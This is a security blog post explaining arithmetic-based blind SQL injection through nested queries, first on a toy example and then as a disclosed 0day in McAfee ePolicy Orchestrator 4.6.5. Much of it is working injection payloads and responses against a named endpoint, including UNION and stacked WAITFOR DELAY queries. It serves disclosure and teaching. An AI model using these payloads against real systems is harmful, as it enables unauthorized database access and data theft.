Tuesday, October 8, 2013 At 9:00AM
In this post I’ll be talking you through exploiting what turned out to be an interesting SQL Injection variation – SQL injection involving nested queries and arithmetic evaluation.
Consider the following example application requests and responses:
Request:
nested.php?id=1
Response:
your account balance is: 16230
Request:
nested.php?id=10
Response:
your account balance is: 56963
The underlying SQL query in this case is equivalent to the following:
SELECT balance from balances where account_number=(SELECT account_number from accounts where id=?);
This parameter is vulnerable to integer based SQL Injection, which we can verify by using the following “id=1” parameter value equivalents:
Request:
id=1
Response:
your account balance is: 16230
Request:
id=0.5*2
Response:
your account balance is: 16230
Request:
id=10/10
Response:
your account balance is: 16230
Request:
id=2-1
Response:
your account balance is: 16230
This is pretty conclusive proof that our “id” values are being evaluated as part of a dynamic SQL query. Still it’s always worth proving the negative case, so we can go ahead and test a few other numerical values and see if they return other balance values.
Let’s see what happens if we try to return the MySQL version:
Request:
id=@@version
Response:
No luck. Still we can leverage the fact that we can manipulate integers to infer the result of the above version request. We can do this by using the MySQL “ASCII” native function. The ASCII function will take a string and return to us the leftmost character as a decimal value.
Request:
id=ASCII(@@version)
Response:
your account balance is: 990
Great! It looks like the expression evaluated and returned a response based on the first character of the version string.
By spidering all possible id values we discover that the balance value 990 belongs to the account with id value “53”:
Request:
nested.php?id=53
Response:
your account balance is: 990
So we now know that the decimal ASCII value of the first character is the MySQL version string is “53”. If we use an ascii lookup table we can map this value to the “5” character. The first character in the MySQL version string is “5”.
To get the other characters in the version string, we can use the MySQL “SUBSTRING” native function. Let’s use it in our example to return the second character of the version string:
Request:
id=ASCII(SUBSTRING(@@version,2,1))
Response:
your account balance is: 96146
The response is equivalent to a request to “id” value “46” which indicates that the second character in the version string is a “.” character.
Using this technique we can step through each character and enumerate the whole response string. To aid us in the process we can get the total length of the version string by using the MySQL “CHAR_LENGTH” native function.
Request:
id=CHAR_LENGTH(@@version)
With the response being equivalent to “23”.
I think we’ve proved a point here in what is a fairly contrived scenario. In this example we can actually bypass this whole process as there is no actual filtering involved (just implicit type-casting in the SQL query). The following request will return the whole version string:
Request:
id=53) union select @@version — -
Response:
your account balance is: 5.5.28-0ubuntu0.12.04.3
This teaches us a lot about the power of close brackets in evaluating potential SQL injection (you don’t always need a quote!) but it doesn’t teach us a lot about real world exploitation where filtering is enabled.
For my next trick we’ll look at an example where this technique was used to identify and exploit an 0day SQL Injection issue in the McAfee ePolicy Orchestrator product.
Disclosure Details:
McAfee ePolicy Orchestrator (ePO) 4.6.5 Blind SQL Injection Via SQL Arithmetic
Vulnerability Type: Blind SQL Injection
Company: Gotham Digital Science
Affected Software: McAfee ePolicy Orchestrator (ePO) 4.6.5 (Build 168)
McAfee Security Bulletin: http://kc.mcafee.com/corporate/index?page=content&id=SB10043
Vulnerability Description:
The ‘uid’ parameter passed to the ‘DisplayMSAPropsDetail.do’ page allows for the passing of SQL arithmetic that is evaluated as a dynamic SQL statement. The database backend evaluates these values and then returns the associated record.
Exploitation:
The following request and response pairs demonstrate the use of the SQL integer evaluation injection:
Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1
Response:
GDSSECURITY
Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2
Response:
GDSSECURITY
(The response value ‘GDSSECURITY’ is related to the host name of a machine being referenced by the ‘uid’ value and is returned as part of the response data).
Since we know that making a request with the ‘uid’ parameter value set to 1 returns the value host-name value ‘GDSSECURITY’ we can use any query that evaluates to 1 and confirm that it evaluates to 1 by getting the expected response back.
For example consider the following Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * ASCII(SUBSTRING(@@version,1,1)) / 77
If the value of the first character of the database version is equal to ‘M’ then the arithmetic will be equivalent to “1 * 77 / 77” (i.e the value “1”).
We run into a practical challenge in certain situations in that SQL Server will, in some cases, round off equations evaluating to non-whole number results.
For example the following queries will both be rounded down to the same result (the value “1”):
select 1 * ASCII(SUBSTRING(@@version,1,1)) / 77 = 1 select 1 * ASCII(SUBSTRING(@@version,1,1)) / 76 = 1
To compensate for this we can explicitly cast the return value as a float by first dividing by the decimal value ‘0.5’ as per the following example:
SELECT 1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77
In these conditions SQL Server will handle the casting of return values according to its own internal rules. With the return value cast as a float integer we can perform the arithmetic we need without the danger of rounding down and getting inaccurate responses.
The following proof of concept will use these techniques to validate the first character of the server version as the ASCII value 77 or ‘M’:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77
The application returns the expected record “GDSSECURITY” validating that the first character of the database version string is ‘M’ and therefore most probably a Micosoft SQL Server instance.
Extending the Attack:
It is possible to step out of the restrictions of injecting into a ‘SELECT’ query through the use of stacked queries. The following proof of concept demonstrates the addition of a second, arbitrary query after a completed initial parameter:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2;WAITFOR DELAY ‘0:0:5’;
This request will result in a 5 second delay before a response is returned by the database and the application.
Epilogue:
So there you have it. Nested SQL queries and type-cast values can be dangerous. If you haven’t already, add “)” and “ASCII(@@version)” to your attack dictionaries.
Author: Sasha Zivojinovic
©Aon plc 2023
